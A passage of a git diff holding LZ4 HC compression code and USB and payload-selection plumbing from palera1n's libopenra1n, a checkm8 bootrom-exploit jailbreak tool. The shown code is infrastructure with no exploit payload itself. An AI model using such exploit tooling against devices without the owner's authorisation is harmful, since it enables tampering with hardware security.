((const BYTE*)src < dictEnd)) { + if (sourceEnd > dictEnd) sourceEnd = dictEnd; + ctxPtr->lowLimit += (U32)(sourceEnd - ctxPtr->dictStart); + ctxPtr->dictStart += (U32)(sourceEnd - ctxPtr->dictStart); + /* invalidate dictionary is it's too small */ + if (ctxPtr->dictLimit - ctxPtr->lowLimit < LZ4HC_HASHSIZE) { + ctxPtr->lowLimit = ctxPtr->dictLimit; + ctxPtr->dictStart = ctxPtr->prefixStart; + } } } + + return LZ4HC_compress_generic (ctxPtr, src, dst, srcSizePtr, dstCapacity, ctxPtr->compressionLevel, limit); +} + +int LZ4_compress_HC_continue (LZ4_streamHC_t* LZ4_streamHCPtr, const char* src, char* dst, int srcSize, int dstCapacity) +{ + DEBUGLOG(5, "LZ4_compress_HC_continue"); + if (dstCapacity < LZ4_compressBound(srcSize)) + return LZ4_compressHC_continue_generic (LZ4_streamHCPtr, src, dst, &srcSize, dstCapacity, limitedOutput); + else + return LZ4_compressHC_continue_generic (LZ4_streamHCPtr, src, dst, &srcSize, dstCapacity, notLimited); +} + +int LZ4_compress_HC_continue_destSize (LZ4_streamHC_t* LZ4_streamHCPtr, const char* src, char* dst, int* srcSizePtr, int targetDestSize) +{ + return LZ4_compressHC_continue_generic(LZ4_streamHCPtr, src, dst, srcSizePtr, targetDestSize, fillOutput); +} + + + +/* LZ4_saveDictHC : + * save history content + * into a user-provided buffer + * which is then used to continue compression + */ +int LZ4_saveDictHC (LZ4_streamHC_t* LZ4_streamHCPtr, char* safeBuffer, int dictSize) +{ + LZ4HC_CCtx_internal* const streamPtr = &LZ4_streamHCPtr->internal_donotuse; + int const prefixSize = (int)(streamPtr->end - streamPtr->prefixStart); + DEBUGLOG(5, "LZ4_saveDictHC(%p, %p, %d)", LZ4_streamHCPtr, safeBuffer, dictSize); + assert(prefixSize >= 0); + if (dictSize > 64 KB) dictSize = 64 KB; + if (dictSize < 4) dictSize = 0; + if (dictSize > prefixSize) dictSize = prefixSize; + if (safeBuffer == NULL) assert(dictSize == 0); + if (dictSize > 0) + LZ4_memmove(safeBuffer, streamPtr->end - dictSize, (size_t)dictSize); + { U32 const endIndex = (U32)(streamPtr->end - streamPtr->prefixStart) + streamPtr->dictLimit; + streamPtr->end = (safeBuffer == NULL) ? NULL : (const BYTE*)safeBuffer + dictSize; + streamPtr->prefixStart = (const BYTE*)safeBuffer; + streamPtr->dictLimit = endIndex - (U32)dictSize; + streamPtr->lowLimit = endIndex - (U32)dictSize; + streamPtr->dictStart = streamPtr->prefixStart; + if (streamPtr->nextToUpdate < streamPtr->dictLimit) + streamPtr->nextToUpdate = streamPtr->dictLimit; + } + return dictSize; +} + + +/*************************************************** +* Deprecated Functions +***************************************************/ + +/* These functions currently generate deprecation warnings */ + +/* Wrappers for deprecated compression functions */ +int LZ4_compressHC(const char* src, char* dst, int srcSize) { return LZ4_compress_HC (src, dst, srcSize, LZ4_compressBound(srcSize), 0); } +int LZ4_compressHC_limitedOutput(const char* src, char* dst, int srcSize, int maxDstSize) { return LZ4_compress_HC(src, dst, srcSize, maxDstSize, 0); } +int LZ4_compressHC2(const char* src, char* dst, int srcSize, int cLevel) { return LZ4_compress_HC (src, dst, srcSize, LZ4_compressBound(srcSize), cLevel); } +int LZ4_compressHC2_limitedOutput(const char* src, char* dst, int srcSize, int maxDstSize, int cLevel) { return LZ4_compress_HC(src, dst, srcSize, maxDstSize, cLevel); } +int LZ4_compressHC_withStateHC (void* state, const char* src, char* dst, int srcSize) { return LZ4_compress_HC_extStateHC (state, src, dst, srcSize, LZ4_compressBound(srcSize), 0); } +int LZ4_compressHC_limitedOutput_withStateHC (void* state, const char* src, char* dst, int srcSize, int maxDstSize) { return LZ4_compress_HC_extStateHC (state, src, dst, srcSize, maxDstSize, 0); } +int LZ4_compressHC2_withStateHC (void* state, const char* src, char* dst, int srcSize, int cLevel) { return LZ4_compress_HC_extStateHC(state, src, dst, srcSize, LZ4_compressBound(srcSize), cLevel); } +int LZ4_compressHC2_limitedOutput_withStateHC (void* state, const char* src, char* dst, int srcSize, int maxDstSize, int cLevel) { return LZ4_compress_HC_extStateHC(state, src, dst, srcSize, maxDstSize, cLevel); } +int LZ4_compressHC_continue (LZ4_streamHC_t* ctx, const char* src, char* dst, int srcSize) { return LZ4_compress_HC_continue (ctx, src, dst, srcSize, LZ4_compressBound(srcSize)); } +int LZ4_compressHC_limitedOutput_continue (LZ4_streamHC_t* ctx, const char* src, char* dst, int srcSize, int maxDstSize) { return LZ4_compress_HC_continue (ctx, src, dst, srcSize, maxDstSize); } + + +/* Deprecated streaming functions */ +int LZ4_sizeofStreamStateHC(void) { return sizeof(LZ4_streamHC_t); } + +/* state is presumed correctly sized, aka >= sizeof(LZ4_streamHC_t) + * @return : 0 on success, !=0 if error */ +int LZ4_resetStreamStateHC(void* state, char* inputBuffer) +{ + LZ4_streamHC_t* const hc4 = LZ4_initStreamHC(state, sizeof(*hc4)); + if (hc4 == NULL) return 1; /* init failed */ + LZ4HC_init_internal (&hc4->internal_donotuse, (const BYTE*)inputBuffer); + return 0; +} + +#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +void* LZ4_createHC (const char* inputBuffer) +{ + LZ4_streamHC_t* const hc4 = LZ4_createStreamHC(); + if (hc4 == NULL) return NULL; /* not enough memory */ + LZ4HC_init_internal (&hc4->internal_donotuse, (const BYTE*)inputBuffer); + return hc4; +} + +int LZ4_freeHC (void* LZ4HC_Data) +{ + if (!LZ4HC_Data) return 0; /* support free on NULL */ + FREEMEM(LZ4HC_Data); + return 0; +} +#endif + +int LZ4_compressHC2_continue (void* LZ4HC_Data, const char* src, char* dst, int srcSize, int cLevel) +{ + return LZ4HC_compress_generic (&((LZ4_streamHC_t*)LZ4HC_Data)->internal_donotuse, src, dst, &srcSize, 0, cLevel, notLimited); +} + +int LZ4_compressHC2_limitedOutput_continue (void* LZ4HC_Data, const char* src, char* dst, int srcSize, int dstCapacity, int cLevel) +{ + return LZ4HC_compress_generic (&((LZ4_streamHC_t*)LZ4HC_Data)->internal_donotuse, src, dst, &srcSize, dstCapacity, cLevel, limitedOutput); +} + +char* LZ4_slideInputBufferHC(void* LZ4HC_Data) +{ + LZ4HC_CCtx_internal* const s = &((LZ4_streamHC_t*)LZ4HC_Data)->internal_donotuse; + const BYTE* const bufferStart = s->prefixStart - s->dictLimit + s->lowLimit; + LZ4_resetStreamHC_fast((LZ4_streamHC_t*)LZ4HC_Data, s->compressionLevel); + /* ugly conversion trick, required to evade (const char*) -> (char*) cast-qual warning :( */ + return (char*)(uptrval)bufferStart; +} + + +/* ================================================ + * LZ4 Optimal parser (levels [LZ4HC_CLEVEL_OPT_MIN - LZ4HC_CLEVEL_MAX]) + * ===============================================*/ +typedef struct { + int price; + int off; + int mlen; + int litlen; +} LZ4HC_optimal_t; + +/* price in bytes */ +LZ4_FORCE_INLINE int LZ4HC_literalsPrice(int const litlen) +{ + int price = litlen; + assert(litlen >= 0); + if (litlen >= (int)RUN_MASK) + price += 1 + ((litlen-(int)RUN_MASK) / 255); + return price; +} + + +/* requires mlen >= MINMATCH */ +LZ4_FORCE_INLINE int LZ4HC_sequencePrice(int litlen, int mlen) +{ + int price = 1 + 2 ; /* token + 16-bit offset */ + assert(litlen >= 0); + assert(mlen >= MINMATCH); + + price += LZ4HC_literalsPrice(litlen); + + if (mlen >= (int)(ML_MASK+MINMATCH)) + price += 1 + ((mlen-(int)(ML_MASK+MINMATCH)) / 255); + + return price; +} + + + +LZ4_FORCE_INLINE LZ4HC_match_t +LZ4HC_FindLongerMatch(LZ4HC_CCtx_internal* const ctx, + const BYTE* ip, const BYTE* const iHighLimit, + int minLen, int nbSearches, + const dictCtx_directive dict, + const HCfavor_e favorDecSpeed) +{ + LZ4HC_match_t const match0 = { 0 , 0 }; + /* note : LZ4HC_InsertAndGetWiderMatch() is able to modify the starting position of a match (*startpos), + * but this won't be the case here, as we define iLowLimit==ip, + ** so LZ4HC_InsertAndGetWiderMatch() won't be allowed to search past ip */ + LZ4HC_match_t md = LZ4HC_InsertAndGetWiderMatch(ctx, ip, ip, iHighLimit, minLen, &ip, nbSearches, 1 /*patternAnalysis*/, 1 /*chainSwap*/, dict, favorDecSpeed); + if (md.len <= minLen) return match0; + if (favorDecSpeed) { + if ((md.len>18) & (md.len<=36)) md.len=18; /* favor shortcut */ + } + return md; +} + + +static int LZ4HC_compress_optimal ( LZ4HC_CCtx_internal* ctx, + const char* const source, + char* dst, + int* srcSizePtr, + int dstCapacity, + int const nbSearches, + size_t sufficient_len, + const limitedOutput_directive limit, + int const fullUpdate, + const dictCtx_directive dict, + const HCfavor_e favorDecSpeed) +{ + int retval = 0; +#define TRAILING_LITERALS 3 +#if defined(LZ4HC_HEAPMODE) && LZ4HC_HEAPMODE==1 + LZ4HC_optimal_t* const opt = (LZ4HC_optimal_t*)ALLOC(sizeof(LZ4HC_optimal_t) * (LZ4_OPT_NUM + TRAILING_LITERALS)); +#else + LZ4HC_optimal_t opt[LZ4_OPT_NUM + TRAILING_LITERALS]; /* ~64 KB, which is a bit large for stack... */ +#endif + + const BYTE* ip = (const BYTE*) source; + const BYTE* anchor = ip; + const BYTE* const iend = ip + *srcSizePtr; + const BYTE* const mflimit = iend - MFLIMIT; + const BYTE* const matchlimit = iend - LASTLITERALS; + BYTE* op = (BYTE*) dst; + BYTE* opSaved = (BYTE*) dst; + BYTE* oend = op + dstCapacity; + int ovml = MINMATCH; /* overflow - last sequence */ + int ovoff = 0; + + /* init */ +#if defined(LZ4HC_HEAPMODE) && LZ4HC_HEAPMODE==1 + if (opt == NULL) goto _return_label; +#endif + DEBUGLOG(5, "LZ4HC_compress_optimal(dst=%p, dstCapa=%u)", dst, (unsigned)dstCapacity); + *srcSizePtr = 0; + if (limit == fillOutput) oend -= LASTLITERALS; /* Hack for support LZ4 format restriction */ + if (sufficient_len >= LZ4_OPT_NUM) sufficient_len = LZ4_OPT_NUM-1; + + /* Main Loop */ + while (ip <= mflimit) { + int const llen = (int)(ip - anchor); + int best_mlen, best_off; + int cur, last_match_pos = 0; + + LZ4HC_match_t const firstMatch = LZ4HC_FindLongerMatch(ctx, ip, matchlimit, MINMATCH-1, nbSearches, dict, favorDecSpeed); + if (firstMatch.len==0) { ip++; continue; } + + if ((size_t)firstMatch.len > sufficient_len) { + /* good enough solution : immediate encoding */ + int const firstML = firstMatch.len; + opSaved = op; + if ( LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), firstML, firstMatch.off, limit, oend) ) { /* updates ip, op and anchor */ + ovml = firstML; + ovoff = firstMatch.off; + goto _dest_overflow; + } + continue; + } + + /* set prices for first positions (literals) */ + { int rPos; + for (rPos = 0 ; rPos < MINMATCH ; rPos++) { + int const cost = LZ4HC_literalsPrice(llen + rPos); + opt[rPos].mlen = 1; + opt[rPos].off = 0; + opt[rPos].litlen = llen + rPos; + opt[rPos].price = cost; + DEBUGLOG(7, "rPos:%3i => price:%3i (litlen=%i) -- initial setup", + rPos, cost, opt[rPos].litlen); + } } + /* set prices using initial match */ + { int mlen = MINMATCH; + int const matchML = firstMatch.len; /* necessarily < sufficient_len < LZ4_OPT_NUM */ + int const offset = firstMatch.off; + assert(matchML < LZ4_OPT_NUM); + for ( ; mlen <= matchML ; mlen++) { + int const cost = LZ4HC_sequencePrice(llen, mlen); + opt[mlen].mlen = mlen; + opt[mlen].off = offset; + opt[mlen].litlen = llen; + opt[mlen].price = cost; + DEBUGLOG(7, "rPos:%3i => price:%3i (matchlen=%i) -- initial setup", + mlen, cost, mlen); + } } + last_match_pos = firstMatch.len; + { int addLit; + for (addLit = 1; addLit <= TRAILING_LITERALS; addLit ++) { + opt[last_match_pos+addLit].mlen = 1; /* literal */ + opt[last_match_pos+addLit].off = 0; + opt[last_match_pos+addLit].litlen = addLit; + opt[last_match_pos+addLit].price = opt[last_match_pos].price + LZ4HC_literalsPrice(addLit); + DEBUGLOG(7, "rPos:%3i => price:%3i (litlen=%i) -- initial setup", + last_match_pos+addLit, opt[last_match_pos+addLit].price, addLit); + } } + + /* check further positions */ + for (cur = 1; cur < last_match_pos; cur++) { + const BYTE* const curPtr = ip + cur; + LZ4HC_match_t newMatch; + + if (curPtr > mflimit) break; + DEBUGLOG(7, "rPos:%u[%u] vs [%u]%u", + cur, opt[cur].price, opt[cur+1].price, cur+1); + if (fullUpdate) { + /* not useful to search here if next position has same (or lower) cost */ + if ( (opt[cur+1].price <= opt[cur].price) + /* in some cases, next position has same cost, but cost rises sharply after, so a small match would still be beneficial */ + && (opt[cur+MINMATCH].price < opt[cur].price + 3/*min seq price*/) ) + continue; + } else { + /* not useful to search here if next position has same (or lower) cost */ + if (opt[cur+1].price <= opt[cur].price) continue; + } + + DEBUGLOG(7, "search at rPos:%u", cur); + if (fullUpdate) + newMatch = LZ4HC_FindLongerMatch(ctx, curPtr, matchlimit, MINMATCH-1, nbSearches, dict, favorDecSpeed); + else + /* only test matches of minimum length; slightly faster, but misses a few bytes */ + newMatch = LZ4HC_FindLongerMatch(ctx, curPtr, matchlimit, last_match_pos - cur, nbSearches, dict, favorDecSpeed); + if (!newMatch.len) continue; + + if ( ((size_t)newMatch.len > sufficient_len) + || (newMatch.len + cur >= LZ4_OPT_NUM) ) { + /* immediate encoding */ + best_mlen = newMatch.len; + best_off = newMatch.off; + last_match_pos = cur + 1; + goto encode; + } + + /* before match : set price with literals at beginning */ + { int const baseLitlen = opt[cur].litlen; + int litlen; + for (litlen = 1; litlen < MINMATCH; litlen++) { + int const price = opt[cur].price - LZ4HC_literalsPrice(baseLitlen) + LZ4HC_literalsPrice(baseLitlen+litlen); + int const pos = cur + litlen; + if (price < opt[pos].price) { + opt[pos].mlen = 1; /* literal */ + opt[pos].off = 0; + opt[pos].litlen = baseLitlen+litlen; + opt[pos].price = price; + DEBUGLOG(7, "rPos:%3i => price:%3i (litlen=%i)", + pos, price, opt[pos].litlen); + } } } + + /* set prices using match at position = cur */ + { int const matchML = newMatch.len; + int ml = MINMATCH; + + assert(cur + newMatch.len < LZ4_OPT_NUM); + for ( ; ml <= matchML ; ml++) { + int const pos = cur + ml; + int const offset = newMatch.off; + int price; + int ll; + DEBUGLOG(7, "testing price rPos %i (last_match_pos=%i)", + pos, last_match_pos); + if (opt[cur].mlen == 1) { + ll = opt[cur].litlen; + price = ((cur > ll) ? opt[cur - ll].price : 0) + + LZ4HC_sequencePrice(ll, ml); + } else { + ll = 0; + price = opt[cur].price + LZ4HC_sequencePrice(0, ml); + } + + assert((U32)favorDecSpeed <= 1); + if (pos > last_match_pos+TRAILING_LITERALS + || price <= opt[pos].price - (int)favorDecSpeed) { + DEBUGLOG(7, "rPos:%3i => price:%3i (matchlen=%i)", + pos, price, ml); + assert(pos < LZ4_OPT_NUM); + if ( (ml == matchML) /* last pos of last match */ + && (last_match_pos < pos) ) + last_match_pos = pos; + opt[pos].mlen = ml; + opt[pos].off = offset; + opt[pos].litlen = ll; + opt[pos].price = price; + } } } + /* complete following positions with literals */ + { int addLit; + for (addLit = 1; addLit <= TRAILING_LITERALS; addLit ++) { + opt[last_match_pos+addLit].mlen = 1; /* literal */ + opt[last_match_pos+addLit].off = 0; + opt[last_match_pos+addLit].litlen = addLit; + opt[last_match_pos+addLit].price = opt[last_match_pos].price + LZ4HC_literalsPrice(addLit); + DEBUGLOG(7, "rPos:%3i => price:%3i (litlen=%i)", last_match_pos+addLit, opt[last_match_pos+addLit].price, addLit); + } } + } /* for (cur = 1; cur <= last_match_pos; cur++) */ + + assert(last_match_pos < LZ4_OPT_NUM + TRAILING_LITERALS); + best_mlen = opt[last_match_pos].mlen; + best_off = opt[last_match_pos].off; + cur = last_match_pos - best_mlen; + +encode: /* cur, last_match_pos, best_mlen, best_off must be set */ + assert(cur < LZ4_OPT_NUM); + assert(last_match_pos >= 1); /* == 1 when only one candidate */ + DEBUGLOG(6, "reverse traversal, looking for shortest path (last_match_pos=%i)", last_match_pos); + { int candidate_pos = cur; + int selected_matchLength = best_mlen; + int selected_offset = best_off; + while (1) { /* from end to beginning */ + int const next_matchLength = opt[candidate_pos].mlen; /* can be 1, means literal */ + int const next_offset = opt[candidate_pos].off; + DEBUGLOG(7, "pos %i: sequence length %i", candidate_pos, selected_matchLength); + opt[candidate_pos].mlen = selected_matchLength; + opt[candidate_pos].off = selected_offset; + selected_matchLength = next_matchLength; + selected_offset = next_offset; + if (next_matchLength > candidate_pos) break; /* last match elected, first match to encode */ + assert(next_matchLength > 0); /* can be 1, means literal */ + candidate_pos -= next_matchLength; + } } + + /* encode all recorded sequences in order */ + { int rPos = 0; /* relative position (to ip) */ + while (rPos < last_match_pos) { + int const ml = opt[rPos].mlen; + int const offset = opt[rPos].off; + if (ml == 1) { ip++; rPos++; continue; } /* literal; note: can end up with several literals, in which case, skip them */ + rPos += ml; + assert(ml >= MINMATCH); + assert((offset >= 1) && (offset <= LZ4_DISTANCE_MAX)); + opSaved = op; + if ( LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), ml, offset, limit, oend) ) { /* updates ip, op and anchor */ + ovml = ml; + ovoff = offset; + goto _dest_overflow; + } } } + } /* while (ip <= mflimit) */ + +_last_literals: + /* Encode Last Literals */ + { size_t lastRunSize = (size_t)(iend - anchor); /* literals */ + size_t llAdd = (lastRunSize + 255 - RUN_MASK) / 255; + size_t const totalSize = 1 + llAdd + lastRunSize; + if (limit == fillOutput) oend += LASTLITERALS; /* restore correct value */ + if (limit && (op + totalSize > oend)) { + if (limit == limitedOutput) { /* Check output limit */ + retval = 0; + goto _return_label; + } + /* adapt lastRunSize to fill 'dst' */ + lastRunSize = (size_t)(oend - op) - 1 /*token*/; + llAdd = (lastRunSize + 256 - RUN_MASK) / 256; + lastRunSize -= llAdd; + } + DEBUGLOG(6, "Final literal run : %i literals", (int)lastRunSize); + ip = anchor + lastRunSize; /* can be != iend if limit==fillOutput */ + + if (lastRunSize >= RUN_MASK) { + size_t accumulator = lastRunSize - RUN_MASK; + *op++ = (RUN_MASK << ML_BITS); + for(; accumulator >= 255 ; accumulator -= 255) *op++ = 255; + *op++ = (BYTE) accumulator; + } else { + *op++ = (BYTE)(lastRunSize << ML_BITS); + } + LZ4_memcpy(op, anchor, lastRunSize); + op += lastRunSize; + } + + /* End */ + *srcSizePtr = (int) (((const char*)ip) - source); + retval = (int) ((char*)op-dst); + goto _return_label; + +_dest_overflow: +if (limit == fillOutput) { + /* Assumption : ip, anchor, ovml and ovref must be set correctly */ + size_t const ll = (size_t)(ip - anchor); + size_t const ll_addbytes = (ll + 240) / 255; + size_t const ll_totalCost = 1 + ll_addbytes + ll; + BYTE* const maxLitPos = oend - 3; /* 2 for offset, 1 for token */ + DEBUGLOG(6, "Last sequence overflowing (only %i bytes remaining)", (int)(oend-1-opSaved)); + op = opSaved; /* restore correct out pointer */ + if (op + ll_totalCost <= maxLitPos) { + /* ll validated; now adjust match length */ + size_t const bytesLeftForMl = (size_t)(maxLitPos - (op+ll_totalCost)); + size_t const maxMlSize = MINMATCH + (ML_MASK-1) + (bytesLeftForMl * 255); + assert(maxMlSize < INT_MAX); assert(ovml >= 0); + if ((size_t)ovml > maxMlSize) ovml = (int)maxMlSize; + if ((oend + LASTLITERALS) - (op + ll_totalCost + 2) - 1 + ovml >= MFLIMIT) { + DEBUGLOG(6, "Space to end : %i + ml (%i)", (int)((oend + LASTLITERALS) - (op + ll_totalCost + 2) - 1), ovml); + DEBUGLOG(6, "Before : ip = %p, anchor = %p", ip, anchor); + LZ4HC_encodeSequence(UPDATABLE(ip, op, anchor), ovml, ovoff, notLimited, oend); + DEBUGLOG(6, "After : ip = %p, anchor = %p", ip, anchor); + } } + goto _last_literals; +} +_return_label: +#if defined(LZ4HC_HEAPMODE) && LZ4HC_HEAPMODE==1 + FREEMEM(opt); +#endif + return retval; +} diff --git a/src/m8/payload.c b/1stparty/libopenra1n/src/payload.c similarity index 90% rename from src/m8/payload.c rename to 1stparty/libopenra1n/src/payload.c index 55e8d0a..23f02db 100644 --- a/src/m8/payload.c +++ b/1stparty/libopenra1n/src/payload.c @@ -1,19 +1,37 @@ -#include "payload.h" +/* + * palera1n - https://palera.in + * + * Copyright (c) 2026 palera1n team + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include #include #include -#include "../utils.h" +#include -#include "../gen/payloads/yolo_s8000.h" -#include "../gen/payloads/yolo_s8001.h" -#include "../gen/payloads/yolo_s8003.h" -#include "../gen/payloads/yolo_t7000.h" -#include "../gen/payloads/yolo_t7001.h" -#include "../gen/payloads/yolo_t8010.h" -#include "../gen/payloads/yolo_t8011.h" -#include "../gen/payloads/yolo_t8012.h" -#include "../gen/payloads/yolo_t8015.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include bool checkm8_find_device_configuration_for_cpid( uint16_t cpid, @@ -200,7 +218,7 @@ bool create_pongo_payload_for_device( const uint8_t **payload, size_t *payloadSize) { - LOG_VERBOSE("Preparing YoloDFU payload for CPID 0x%x", cpid); + LOG_DEBUG("Preparing YoloDFU payload for CPID 0x%x", cpid); *payload = NULL; *payloadSize = 0; diff --git a/1stparty/libopenra1n/src/shim.c b/1stparty/libopenra1n/src/shim.c new file mode 100644 index 0000000..e256468 --- /dev/null +++ b/1stparty/libopenra1n/src/shim.c @@ -0,0 +1,62 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2023 0x7ff + * Copyright (C) 2023 Mineek + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include + +#include +#include + +#ifdef __APPLE__ +# include +#else +# include +#endif + +transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len) { + transfer_ret_t result; + void *p_data; + + if(w_len == 0) { + return send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, NULL, 0); + } else if((p_data = malloc(w_len)) != NULL) { + memset(p_data, '\0', w_len); + result = send_usb_control_request(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len); + free(p_data); + } + + return result; +} + +transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout) { + transfer_ret_t result; + void *p_data; + + if(w_len == 0) { + return send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout); + } else if((p_data = malloc(w_len)) != NULL) { + memset(p_data, '\0', w_len); + result = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout); + free(p_data); + } + + return result; +} diff --git a/src/m8/stage1.c b/1stparty/libopenra1n/src/stage1.c similarity index 89% rename from src/m8/stage1.c rename to 1stparty/libopenra1n/src/stage1.c index 1235f7d..532fd3d 100644 --- a/src/m8/stage1.c +++ b/1stparty/libopenra1n/src/stage1.c @@ -1,11 +1,38 @@ -#include "stage1.h" +/* + * ra1npoc - https://github.com/kok3shidoll/ra1npoc + * + * Copyright (C) 2021 - 2023 kok3shidoll + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#include #include #include #include #include -#include "payload.h" +#include #define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift diff --git a/1stparty/libopenra1n/src/usb_iokit.c b/1stparty/libopenra1n/src/usb_iokit.c new file mode 100644 index 0000000..7287022 --- /dev/null +++ b/1stparty/libopenra1n/src/usb_iokit.c @@ -0,0 +1,342 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2023 0x7ff + * Copyright (C) 2023 Mineek + * Copyright (c) 2026 palera1n team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifdef __APPLE__ + +#include + +#include + +#include +#include +#include +#include + +#include + +static void cf_dictionary_set_int16(CFMutableDictionaryRef dict, const void *key, uint16_t val) { + CFNumberRef cf_val = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt16Type, &val); + + if(cf_val != NULL) { + CFDictionarySetValue(dict, key, cf_val); + CFRelease(cf_val); + } +} + +bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface) { + IOCFPlugInInterface **plugin_interface; + SInt32 score; + bool ret = false; + + if(IOCreatePlugInInterfaceForService(serv, plugin_type, kIOCFPlugInInterfaceID, &plugin_interface, &score) == kIOReturnSuccess) { + ret = (*plugin_interface)->QueryInterface(plugin_interface, CFUUIDGetUUIDBytes(interface_type), interface) == kIOReturnSuccess; + IODestroyPlugInInterface(plugin_interface); + } + + IOObjectRelease(serv); + return ret; +} + +static bool open_usb_interface(usb_handle_t *handle) { + IOUSBFindInterfaceRequest req; + io_iterator_t iter; + io_service_t intfServ; + IOReturn kr; + + req.bInterfaceClass = kIOUSBFindInterfaceDontCare; + req.bInterfaceSubClass = kIOUSBFindInterfaceDontCare; + req.bInterfaceProtocol = kIOUSBFindInterfaceDontCare; + req.bAlternateSetting = kIOUSBFindInterfaceDontCare; + + kr = (*handle->device)->CreateInterfaceIterator(handle->device, &req, &iter); + if(kr != kIOReturnSuccess) return false; + + while((intfServ = IOIteratorNext(iter)) != IO_OBJECT_NULL) { + IOCFPlugInInterface **plugin = NULL; + IOUSBInterfaceInterface245 **intf = NULL; + SInt32 score = 0; + HRESULT res; + + kr = IOCreatePlugInInterfaceForService(intfServ, kIOUSBInterfaceUserClientTypeID, kIOCFPlugInInterfaceID, &plugin, &score); + + IOObjectRelease(intfServ); + + if(kr != kIOReturnSuccess || !plugin) continue; + + res = (*plugin)->QueryInterface(plugin, CFUUIDGetUUIDBytes(kIOUSBInterfaceInterfaceID245), (LPVOID *)&intf); + + (*plugin)->Release(plugin); + + if(res != S_OK || !intf) continue; + + kr = (*intf)->USBInterfaceOpen(intf); + if(kr != kIOReturnSuccess) { + (*intf)->Release(intf); + continue; + } + + handle->interface = intf; + IOObjectRelease(iter); + return true; + } + + IOObjectRelease(iter); + return false; +} + +void close_usb_handle(usb_handle_t *handle) { + if(handle->async_event_source) { + CFRunLoopRemoveSource(CFRunLoopGetCurrent(), handle->async_event_source, kCFRunLoopDefaultMode); + CFRelease(handle->async_event_source); + handle->async_event_source = NULL; + } + + if(handle->interface) { + (*handle->interface)->USBInterfaceClose(handle->interface); + (*handle->interface)->Release(handle->interface); + handle->interface = NULL; + } + + if(handle->device) { + (*handle->device)->USBDeviceClose(handle->device); + (*handle->device)->Release(handle->device); + handle->device = NULL; + } +} + +bool open_usb_device(io_service_t serv, usb_handle_t *handle) +{ + if (!query_usb_interface(serv, kIOUSBDeviceUserClientTypeID, kIOUSBDeviceInterfaceID320, (LPVOID *)&handle->device)) return false; + + IOReturn kr; + + for (int i = 0; i < 10; i++) { + kr = (*handle->device)->USBDeviceOpenSeize(handle->device); + + if (kr == kIOReturnSuccess) break; + if (kr != kIOReturnExclusiveAccess) goto fail; + + usleep(100000); + } + + if (kr != kIOReturnSuccess) goto fail; + + kr = (*handle->device)->SetConfiguration(handle->device, 1); + + if (kr != kIOReturnSuccess && kr != kIOReturnExclusiveAccess) goto fail; + + kr = (*handle->device)->CreateDeviceAsyncEventSource( + handle->device, + &handle->async_event_source + ); + + if (kr != kIOReturnSuccess) goto fail; + + CFRunLoopAddSource( + CFRunLoopGetCurrent(), + handle->async_event_source, + kCFRunLoopDefaultMode + ); + + if (!open_usb_interface(handle)) goto fail; + + return true; +fail: + close_usb_handle(handle); + return false; +} + +bool wait_usb_handle(usb_handle_t *handle) { + CFMutableDictionaryRef matching_dict; + io_iterator_t iter; + io_service_t serv; + + matching_dict = 